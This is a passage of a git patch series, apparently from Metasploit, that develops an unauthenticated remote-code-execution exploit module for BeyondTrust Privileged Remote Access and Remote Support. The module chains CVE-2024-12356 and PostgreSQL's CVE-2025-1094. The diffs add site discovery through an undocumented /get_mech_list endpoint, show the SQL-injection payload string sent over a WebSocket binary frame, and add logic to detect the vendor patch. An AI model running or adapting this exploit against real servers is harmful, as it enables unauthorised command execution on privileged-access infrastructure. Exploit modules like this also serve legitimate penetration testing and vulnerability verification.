'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory - # ['URL', ''] # Rapid7 Analysis + ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis ], 'DisclosureDate' => '2024-12-16', 'Platform' => [ 'linux', 'unix' ], From 9fc8b3b0dcde3cbcea99024ac6c1dbe6f9b13fa9 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 13 Feb 2025 15:12:23 +0000 Subject: [PATCH 09/19] fix a typo --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index d4224298f887..2dbee46f6a7e 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356. - ['CVE', '2025-1094'], # The SQLi injection in PostgreSQL code. + ['CVE', '2025-1094'], # The SQL injection in PostgreSQL code. ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis From 2d858ac1f0bb5bfaa9841ebbaa7c0aa7149c9000 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 14 Feb 2025 09:38:13 +0000 Subject: [PATCH 10/19] Improve the auto discovery of the target site info. We can query an undocumented API endpoint to discover the target site company name. --- .../http/beyondtrust_pra_rs_unauth_rce.rb | 59 ++++++++++++++++--- 1 file changed, 51 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 2dbee46f6a7e..f9d3d6523769 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -219,6 +219,10 @@ def exploit raise end + # We need to know the target sites company name, or FQDN, in order to successfully eshtablish a WebSocket connection. + # We first favor the user setting either the TargetCompanyName or TargetServerFQDN options. If not set we then try + # an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally we fall + # back on the /download_client_connector endpoint which will also report a servername and site FQDN. def get_site_info if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank? return { @@ -227,6 +231,43 @@ def get_site_info } end + site_info = get_site_info_via_mech_list + + return site_info unless site_info.nil? + + get_site_info_via_download_client_connector + end + + # An internal un-documented API located at the /get_mech_list endpoint will return a JSON object that + # contains the company name of the target site. + def get_site_info_via_mech_list + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'get_mech_list'), + 'vars_get' => { + 'version' => '3' + }, + 'headers' => { + 'Accept' => 'application/json' + } + ) + + return error('get_site_info_via_mech_list Connection failed.') unless res + + return error("get_site_info_via_mech_list Request unexpected response code #{res.code}.") unless res.code == 200 + + json_data = res.get_json_document + + company = json_data['company'] + + return error('get_site_info_via_mech_list company not found.') if company.blank? + + vprint_status('Got site info via the /get_mech_list endpoint.') + + { company: company, server: nil } + end + + def get_site_info_via_download_client_connector res1 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'download_client_connector'), @@ -239,36 +280,38 @@ def get_site_info return error("get_site_info Request 1, unexpected response code #{res1.code}.") unless res1.code == 200 - return error('get_site_info Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i + return error('get_site_info_via_download_client_connector Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, Rex::Text.html_decode(::Regexp.last_match(1))) ) - return error('get_site_info Connection 2 failed.') unless res2 + return error('get_site_info_via_download_client_connector Connection 2 failed.') unless res2 - return error("get_site_info Request 2, unexpected response code #{res2.code}.") unless res2.code == 200 + return error("get_site_info_via_download_client_connector Request 2, unexpected response code #{res2.code}.") unless res2.code == 200 - return error('get_site_info Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i + return error('get_site_info_via_download_client_connector Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i company = Rex::Text.html_decode(::Regexp.last_match(1)) - return error('get_site_info Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i + return error('get_site_info_via_download_client_connector Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i servers = Rex::Text.html_decode(::Regexp.last_match(1)) servers_array = JSON.parse(servers) - return error('get_site_info Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array + return error('get_site_info_via_download_client_connector Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array - return error('get_site_info Request 2, data-servers is an empty array.') if servers_array.empty? + return error('get_site_info_via_download_client_connector Request 2, data-servers is an empty array.') if servers_array.empty? server = servers_array.first + vprint_status('Got site info via the /download_client_connector endpoint.') + { company: company, server: server } rescue JSON::ParserError - error('get_site_info JSON parse error.') + error('get_site_info_via_download_client_connector JSON parse error.') end # Helper method to print an error and then return nil. From eb1feba767fec8de17b77ae8ea860e2547d34ecf Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Mon, 17 Feb 2025 09:42:50 +0000 Subject: [PATCH 11/19] Fix typo in comment (Thanks jvoisin) Co-authored-by: Julien Voisin --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index f9d3d6523769..6e0a1fd2730b 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -42,7 +42,7 @@ def initialize(info = {}) 'DisableNops' => true, # Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes # getting escaped unexpectedly. The server may be configured to escape double quotes (not by default). - # We also want to avoid any forward slash characters if CVE-2024-12356 is being leveraged. + # We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged. 'BadChars' => '\'"\\' } } From 6ed60547a3423d34ea46d79b7a4fbce3f0ed83ae Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Mon, 17 Feb 2025 09:43:46 +0000 Subject: [PATCH 12/19] Print the actual status code in the error message (Thanks msutovsky-r7) Co-authored-by: msutovsky-r7 --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 6e0a1fd2730b..344b4701a051 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -92,7 +92,7 @@ def check return CheckCode::Unknown('Connection failed') unless res - return CheckCode::Unknown("Unexpected response code #{res.code == 200}") unless res.code == 200 + return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 return CheckCode::Unknown('Unexpected response content') unless res.body.start_with? '0 Successful' From 130895671f7b065cf01c35c53c49e4244628b4d7 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Mon, 17 Feb 2025 09:46:59 +0000 Subject: [PATCH 13/19] Remove a duplicate work in this comment (Thanks jvoisin) Co-authored-by: Julien Voisin --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 344b4701a051..34325954f5c2 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -103,7 +103,7 @@ def check # 00000020 44 46 80 00 0a 91 07 81 32 34 2e 31 2e 32 00 82 |DF......24.1.2..| # 00000030 00 00 00 00 67 8e 25 28 91 06 83 65 6e 2d 75 73 |....g.%(...en-us| - # First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we we use a regex to match this so we can ignore it. + # First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we use a regex to match this so we can ignore it. header = res.body.match(/^(0 Successful\n.+\n\d+\n)/) From ed541303464f10612350b8acf8350f5ea15ee3f5 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Mon, 17 Feb 2025 11:35:03 +0000 Subject: [PATCH 14/19] Explicitly close the WebSocket connection Co-authored-by: msutovsky-r7 --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 34325954f5c2..b8592d33bd90 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -208,6 +208,7 @@ def exploit # we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message. wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") end + wsock.wsclose() rescue Rex::Proto::Http::WebSocket::ConnectionError => e if e.http_response && !e.http_response.body.blank? if e.http_response.body == 'Invalid company or app name' From c950264a85287db0df0b37692d818c3675cf741b Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 17 Feb 2025 10:08:54 +0000 Subject: [PATCH 15/19] Add some comments in the check routine to note theres is no known lower bound version number, and the patch does not change the version number. --- .../linux/http/beyondtrust_pra_rs_unauth_rce.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index b8592d33bd90..cf1340d19bf6 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -131,6 +131,13 @@ def check # We cannot differentiate between the two affected products, Privileged Remote Access (PRA) and Remote Support (RS). # However, they both share a common version number, and a common patch for this vulnerability. + # + # Note #1: The vendor advisory only states that versions "24.3.1 and earlier" are affected, so we do not have a lower + # bound version number to test against. + # + # Note #2: The vendor supplied a patch (BT24-10-ONPREM1 or BT24-10-ONPREM2) to remediate the issue, in lieu of an + # updated product release. This patch does not change the products version number, so we cannot tell via a version + # based check if a target is actually vulnerable, therefore we can only report CheckCode::Appears. if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1') return CheckCode::Appears("Detected version #{product_version}") end @@ -220,9 +227,9 @@ def exploit raise end - # We need to know the target sites company name, or FQDN, in order to successfully eshtablish a WebSocket connection. + # We need to know the target sites company name, or FQDN, in order to successfully establish a WebSocket connection. # We first favor the user setting either the TargetCompanyName or TargetServerFQDN options. If not set we then try - # an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally we fall + # an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally, we fall # back on the /download_client_connector endpoint which will also report a servername and site FQDN. def get_site_info if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank? From fbef2baf5c69f1f0768794e1bcbcca896d4bcf54 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 17 Feb 2025 11:44:50 +0000 Subject: [PATCH 16/19] remove the uneeded parenthesis and make rubocop happy. --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index cf1340d19bf6..5f044dcea8a6 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -215,7 +215,8 @@ def exploit # we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message. wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") end - wsock.wsclose() + + wsock.wsclose rescue Rex::Proto::Http::WebSocket::ConnectionError => e if e.http_response && !e.http_response.body.blank? if e.http_response.body == 'Invalid company or app name' From 6f1287d8997de3eafc97588c8c99bd931d15f11c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 17 Feb 2025 12:17:15 +0000 Subject: [PATCH 17/19] add in some logic to detect potentially failed exploitation due to the patch being applied, warning a user of a WebSocket getting closed unexpectadly --- .../linux/http/beyondtrust_pra_rs_unauth_rce.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 5f044dcea8a6..94f7cd9f668c 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -216,6 +216,18 @@ def exploit wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") end + # The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script + # early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may + # actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a + # version based check. + while wsock.has_read_data? datastore['WFSDELAY'] + frame = wsock.get_wsframe + if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE + print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.') + break + end + end + wsock.wsclose rescue Rex::Proto::Http::WebSocket::ConnectionError => e if e.http_response && !e.http_response.body.blank? From bb9013a8ee71a387d35b77e55e6804abdddca253 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 17 Feb 2025 12:29:50 +0000 Subject: [PATCH 18/19] check the frame for nil --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 94f7cd9f668c..59177ebe3516 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -222,6 +222,9 @@ def exploit # version based check. while wsock.has_read_data? datastore['WFSDELAY'] frame = wsock.get_wsframe + + break if frame.nil? + if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.') break From 65e2a20a5d3e71b2aea15e3d417278d04882ca20 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 17 Feb 2025 16:33:11 +0000 Subject: [PATCH 19/19] We can remove this line as it is redundant. The regex that follows will check for the same thing as part of its matching expression. Thanks msutovsky-r7 for spoting this. --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 59177ebe3516..fe933241e228 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -94,8 +94,6 @@ def check return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 - return CheckCode::Unknown('Unexpected response content') unless res.body.start_with? '0 Successful' - # The HTTP content data will have something like this, followed by ~800Kb of string data: # 00000000 30 20 53 75 63 63 65 73 73 66 75 6c 0a 65 6e 2d |0 Successful.en-|